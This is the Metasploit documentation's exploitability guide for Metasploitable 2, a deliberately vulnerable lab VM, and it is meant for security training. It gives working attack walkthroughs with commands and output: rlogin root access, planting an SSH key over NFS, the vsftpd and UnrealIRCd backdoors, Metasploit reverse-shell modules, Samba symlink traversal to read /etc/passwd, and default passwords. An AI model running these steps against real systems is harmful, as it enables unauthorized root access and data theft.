Metasploitable 2 Exploitability Guide | Metasploit Documentation (original) (raw)

The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. Version 2 of this virtual machine is available for download and ships with even more vulnerabilities than the original image. This virtual machine is compatible with VMWare, VirtualBox, and other common virtualization platforms. By default, Metasploitable's network interfaces are bound to the NAT and Host-only network adapters, and the image should never be exposed to a hostile network. (Note: A video tutorial on installing Metasploitable 2 is available here.)

This document outlines many of the security flaws in the Metasploitable 2 image. Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. This document will continue to expand over time as many of the less obvious flaws with this platform are detailed.

Getting Started

After the virtual machine boots, login to console with username msfadmin and password msfadmin. From the shell, run the ifconfig command to identify the IP address.

1

msfadmin@metasploitable:~$ ifconfig

2

3

eth0      Link encap:Ethernet  HWaddr 00:0c:29:9a:52:c1 

4

          inet addr:192.168.99.131  Bcast:192.168.99.255  Mask:255.255.255.0

5

          inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link

6

          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

Services

From our attack system (Linux, preferably something like Kali Linux), we will identify the open network services on this virtual machine using the Nmap Security Scanner. The following command line will scan all TCP ports on the Metasploitable 2 instance:

1

root@ubuntu:~# nmap -p0-65535 192.168.99.131

2

3

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT

4

Nmap scan report for 192.168.99.131

5

Host is up (0.00028s latency).

6

Not shown: 65506 closed ports

7

PORT      STATE SERVICE

8

21/tcp    open  ftp

9

22/tcp    open  ssh

10

23/tcp    open  telnet

11

25/tcp    open  smtp

12

53/tcp    open  domain

13

80/tcp    open  http

14

111/tcp   open  rpcbind

15

139/tcp   open  netbios-ssn

16

445/tcp   open  microsoft-ds

17

512/tcp   open  exec

18

513/tcp   open  login

19

514/tcp   open  shell

20

1099/tcp  open  rmiregistry

21

1524/tcp  open  ingreslock

22

2049/tcp  open  nfs

23

2121/tcp  open  ccproxy-ftp

24

3306/tcp  open  mysql

25

3632/tcp  open  distccd

26

5432/tcp  open  postgresql

27

5900/tcp  open  vnc

28

6000/tcp  open  X11

29

6667/tcp  open  irc

30

6697/tcp  open  unknown

31

8009/tcp  open  ajp13

32

8180/tcp  open  unknown

33

8787/tcp  open  unknown

34

39292/tcp open  unknown

35

43729/tcp open  unknown

36

44813/tcp open  unknown

37

55852/tcp open  unknown

38

MAC Address: 00:0C:29:9A:52:C1 (VMware)

Nearly every one of these listening services provides a remote entry point into the system. In the next section, we will walk through some of these vectors.

Unix Basics

TCP ports 512, 513, and 514 are known as "r" services, and have been misconfigured to allow remote access from any host (a standard ".rhosts + +" situation). To take advantage of this, make sure the "rsh-client" client is installed (on Ubuntu), and run the following command as your local root user. If you are prompted for an SSH key, this means the rsh-client tools have not been installed and Ubuntu is defaulting to using SSH.

1

# rlogin -l root 192.168.99.131

2

Last login: Fri Jun  1 00:10:39 EDT 2012 from :0.0 on pts/0

3

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

4

5

root@metasploitable:~#

This is about as easy as it gets. The next service we should look at is the Network File System (NFS). NFS can be identified by probing port 2049 directly or asking the portmapper for a list of services. The example below using rpcinfo to identify NFS and showmount -e to determine that the "/" share (the root of the file system) is being exported. You will need the rpcbind and nfs-common Ubuntu packages to follow along.

1

root@ubuntu:~# rpcinfo -p 192.168.99.131

2

   program vers proto   port  service

3

    100000    2   tcp    111  portmapper

4

    100000    2   udp    111  portmapper

5

    100024    1   udp  53318  status

6

    100024    1   tcp  43729  status

7

    100003    2   udp   2049  nfs

8

    100003    3   udp   2049  nfs

9

    100003    4   udp   2049  nfs

10

    100021    1   udp  46696  nlockmgr

11

    100021    3   udp  46696  nlockmgr

12

    100021    4   udp  46696  nlockmgr

13

    100003    2   tcp   2049  nfs

14

    100003    3   tcp   2049  nfs

15

    100003    4   tcp   2049  nfs

16

    100021    1   tcp  55852  nlockmgr

17

    100021    3   tcp  55852  nlockmgr

18

    100021    4   tcp  55852  nlockmgr

19

    100005    1   udp  34887  mountd

20

    100005    1   tcp  39292  mountd

21

    100005    2   udp  34887  mountd

22

    100005    2   tcp  39292  mountd

23

    100005    3   udp  34887  mountd

24

    100005    3   tcp  39292  mountd

25

26

root@ubuntu:~# showmount -e 192.168.99.131

27

Export list for 192.168.99.131:

28

/ *

Getting access to a system with a writeable filesystem like this is trivial. To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file:

1

root@ubuntu:~# ssh-keygen

2

Generating public/private rsa key pair.

3

Enter file in which to save the key (/root/.ssh/id_rsa):

4

Enter passphrase (empty for no passphrase):

5

Enter same passphrase again:

6

Your identification has been saved in /root/.ssh/id_rsa.

7

Your public key has been saved in /root/.ssh/id_rsa.pub.

8

9

root@ubuntu:~# mkdir /tmp/r00t

10

root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/

11

root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys

12

root@ubuntu:~# umount /tmp/r00t

13

14

root@ubuntu:~# ssh root@192.168.99.131

15

Last login: Fri Jun  1 00:29:33 2012 from 192.168.99.128

16

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

17

18

root@metasploitable:~#

Backdoors

On port 21, Metasploitable2 runs vsftpd, a popular FTP server. This particular version contains a backdoor that was slipped into the source code by an unknown intruder. The backdoor was quickly identified and removed, but not before quite a few people downloaded it. If a username is sent that ends in the sequence :) [ a happy face ], the backdoored version will open a listening shell on port 6200. We can demonstrate this with telnet or use the Metasploit Framework module to automatically exploit it:

1

root@ubuntu:~# telnet 192.168.99.131 21

2

Trying 192.168.99.131...

3

Connected to 192.168.99.131.

4

Escape character is '^]'.

5

220 (vsFTPd 2.3.4)

6

user backdoored:)

7

331 Please specify the password.

8

pass invalid

9

^]

10

telnet> quit

11

Connection closed.

12

13

root@ubuntu:~# telnet 192.168.99.131 6200

14

Trying 192.168.99.131...

15

Connected to 192.168.99.131.

16

Escape character is '^]'.

17

id;

18

uid=0(root) gid=0(root)

On port 6667, Metasploitable2 runs the UnreaIRCD IRC daemon. This version contains a backdoor that went unnoticed for months - triggered by sending the letters "AB" following by a system command to the server on any listening port. Metasploit has a module to exploit this in order to gain an interactive shell, as shown below.

1

msfconsole

2

3

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor

4

msf  exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131

5

msf  exploit(unreal_ircd_3281_backdoor) > exploit

6

7

[*] Started reverse double handler

8

[*] Connected to 192.168.99.131:6667...

9

    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...

10

    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead

11

[*] Sending backdoor command...

12

[*] Accepted the first client connection...

13

[*] Accepted the second client connection...

14

[*] Command: echo 8bMUYsfmGvOLHBxe;

15

[*] Writing to socket A

16

[*] Writing to socket B

17

[*] Reading from sockets...

18

[*] Reading from socket B

19

[*] B: "8bMUYsfmGvOLHBxe\r\n"

20

[*] Matching...

21

[*] A is input...

22

[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700

23

24

25

id

26

uid=0(root) gid=0(root)

Much less subtle is the old standby "ingreslock" backdoor that is listening on port 1524. The ingreslock port was a popular choice a decade ago for adding a backdoor to a compromised server. Accessing it is easy:

1

root@ubuntu:~# telnet 192.168.99.131 1524

2

Trying 192.168.99.131...

3

Connected to 192.168.99.131.

4

Escape character is '^]'.

5

root@metasploitable:/# id

6

uid=0(root) gid=0(root) groups=0(root)

Unintentional Backdoors

In addition to the malicious backdoors in the previous section, some services are almost backdoors by their very nature. The first of which installed on Metasploitable2 is distccd. This program makes it easy to scale large compiler jobs across a farm of like-configured systems. The problem with this service is that an attacker can easily abuse it to run a command of their choice, as demonstrated by the Metasploit module usage below.

1

msfconsole

2

3

msf > use exploit/unix/misc/distcc_exec

4

msf  exploit(distcc_exec) > set RHOST 192.168.99.131

5

msf  exploit(distcc_exec) > exploit

6

7

[*] Started reverse double handler

8

[*] Accepted the first client connection...

9

[*] Accepted the second client connection...

10

[*] Command: echo uk3UdiwLUq0LX3Bi;

11

[*] Writing to socket A

12

[*] Writing to socket B

13

[*] Reading from sockets...

14

[*] Reading from socket B

15

[*] B: "uk3UdiwLUq0LX3Bi\r\n"

16

[*] Matching...

17

[*] A is input...

18

[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700

19

20

id

21

uid=1(daemon) gid=1(daemon) groups=1(daemon)

Samba, when configured with a writeable file share and "wide links" enabled (default is on), can also be used as a backdoor of sorts to access files that were not meant to be shared. The example below uses a Metasploit module to provide access to the root filesystem using an anonymous connection and a writeable share.

1

root@ubuntu:~# smbclient -L //192.168.99.131

2

Anonymous login successful

3

Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]

4

5

        Sharename       Type      Comment

6

        ---------       ----      -------

7

        print$          Disk      Printer Drivers

8

        tmp             Disk      oh noes!

9

        opt             Disk     

10

        IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

11

        ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

12

13

root@ubuntu:~# msfconsole

14

msf > use auxiliary/admin/smb/samba_symlink_traversal

15

msf  auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131

16

msf  auxiliary(samba_symlink_traversal) > set SMBSHARE tmp

17

msf  auxiliary(samba_symlink_traversal) > exploit

18

19

[*] Connecting to the server...

20

[*] Trying to mount writeable share 'tmp'...

21

[*] Trying to link 'rootfs' to the root filesystem...

22

[*] Now access the following share to browse the root filesystem:

23

[*]     \\192.168.99.131\tmp\rootfs\

24

25

msf  auxiliary(samba_symlink_traversal) > exit

26

27

root@ubuntu:~# smbclient //192.168.99.131/tmp

28

Anonymous login successful

29

Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]

30

smb: \> cd rootfs

31

smb: \rootfs\> cd etc

32

smb: \rootfs\etc\> more passwd

33

getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec)

34

root:x:0:0:root:/root:/bin/bash

35

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

36

bin:x:2:2:bin:/bin:/bin/sh

37

[..]

Weak Passwords

In additional to the more blatant backdoors and misconfigurations, Metasploitable 2 has terrible password security for both system and database server accounts. The primary administrative user msfadmin has a password matching the username. By discovering the list of users on this system, either by using another flaw to capture the passwd file, or by enumerating these user IDs via Samba, a brute force attack can be used to quickly access multiple user accounts. At a minimum, the following weak system accounts are configured on the system.

In addition to these system-level accounts, the PostgreSQL service can be accessed with username postgres and password postgres, while the MySQL service is open to username root with an empty password. The VNC service provides remote desktop access using the password password.

Vulnerable Web Services

Metasploitable 2 has deliberately vulnerable web applications pre-installed. The web server starts automatically when Metasploitable 2 is booted. To access the web applications, open a web browser and enter the URL http://<IP> where <IP> is the IP address of Metasploitable 2. One way to accomplish this is to install Metasploitable 2 as a guest operating system in Virtual Box and change the network interface settings from "NAT" to "Host Only". (Note: A video tutorial on installing Metasploitable 2 is available here.)

In this example, Metasploitable 2 is running at IP 192.168.56.101. Browsing to http://192.168.56.101/ shows the web application home page.

192.168.56/24 is the default "host only" network in Virtual Box. IP address are assigned starting from "101". Depending on the order in which guest operating systems are started, the IP address of Metasploitable 2 will vary.

To access a particular web application, click on one of the links provided. Individual web applications may additionally be accessed by appending the application directory name onto http://<IP> to create URL http://<IP>/<Application Folder>/. For example, the Mutillidae application may be accessed (in this example) at address http://192.168.56.101/mutillidae/. The applications are installed in Metasploitable 2 in the /var/www directory. (Note: See a list with command ls /var/www.) In the current version as of this writing, the applications are

• mutillidae (NOWASP Mutillidae 2.1.19)
• dvwa (Damn Vulnerable Web Application)
• phpMyAdmin
• tikiwiki (TWiki)
• tikiwiki-old
• dav (WebDav)

Mutillidae

The Mutillidae web application (NOWASP (Mutillidae)) contains all of the vulnerabilities from the OWASP Top Ten plus a number of other vulnerabilities such as HTML-5 web storage, forms caching, and click-jacking. Inspired by DVWA, Mutillidae allows the user to change the "Security Level" from 0 (completely insecure) to 5 (secure). Additionally three levels of hints are provided ranging from "Level 0 - I try harder" (no hints) to "Level 2 - noob" (Maximum hints). If the application is damaged by user injections and hacks, clicking the "Reset DB" button resets the application to its original state.

Tutorials on using Mutillidae are available at the webpwnized YouTube Channel.

Enable hints in the application by click the "Toggle Hints" button on the menu bar:

The Mutillidae application contains at least the following vulnerabilities on these respective pages:

DVWA

From the DVWA home page: "Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.".

DVWA contains instructions on the home page and additional information is available at Wiki Pages - Damn Vulnerable Web App.

• Default username - admin
• Default password - password

Information Disclosure

Additionally, an ill-advised PHP information disclosure page can be found at http://<IP>/phpinfo.php. In this example, the URL would be http://192.168.56.101/phpinfo.php. The PHP info information disclosure vulnerability provides internal system information and service version information that can be used to look up vulnerabilities. For example, noting that the version of PHP disclosed in the screenshot is version 5.2.4, it may be possible that the system is vulnerable to CVE-2012-1823 and CVE-2012-2311 which affected PHP before 5.3.12 and 5.4.x before 5.4.2.

You can download Metasploitable 2 here.